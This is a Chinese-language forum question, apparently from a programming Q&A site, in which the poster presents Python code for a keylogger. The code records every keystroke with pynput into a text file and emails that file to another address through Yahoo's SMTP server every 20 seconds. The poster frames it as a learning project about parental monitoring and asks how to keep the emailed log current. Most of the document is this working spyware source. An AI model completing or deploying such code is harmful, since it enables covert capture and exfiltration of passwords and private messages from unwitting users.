我一直在研究网络安全,并且对育儿监控工具进行了一些研究,并认为按键记录器/电子邮件发件人将是一个学习如何构建的好项目。
因此,我编写的代码可以正确发送电子邮件,还可以将生成的文本文件作为附件发送。
我遇到的需要帮助的问题是: 1.随着按键记录器继续记录按键操作,电子邮件附件不会更新文件,它只会在原始路径中发送原始文件。
我想创建一种从电子邮件功能搜索属于按键记录程序功能的文本文件路径的方法。换句话说,我不需要硬编码电子邮件应在其中查找附件的文件路径。
如果有更好的方法可以做到这一点,那么我在学习的过程中会全神贯注。我认为的一种方法是将击键的内容读入一个打开的文件中,该文件被链接为通过电子邮件发送,但是不确定如何执行此操作。我的代码如下。谢谢!
我正在为Windows使用Python最新版本。 3.x
from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
import threading
def main():
def logger():
logging.basicConfig(filename=("" + "key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
def mail():
email_user = 'youremail@email.com'
email_password = 'password'
email_send = 'theiremail@email.com'
subject = 'Test'
#Creating message object for email. Tying message object to
variables above.
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
#Actual message.
body = 'Hi there, sending this email from Python!'
#Attach a file
msg.attach(MIMEText(body,'plain'))
#File path needs double slash here. Filename is reference variable to
file location
filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\key_log.txt'
#create attachment variable, open, filename and
attachment=open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename=
"+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587)
server.starttls()
server.login(email_user,email_password)
#send message
while True:
try:
server.sendmail(email_user,email_send,text)
print("Success")
time.sleep(20)
except Exception:
print("Message failed to send")
server.quit()
w = threading.Thread(target = logger)
w2 = threading.Thread(target = mail)
w.start()
w2.start()
main()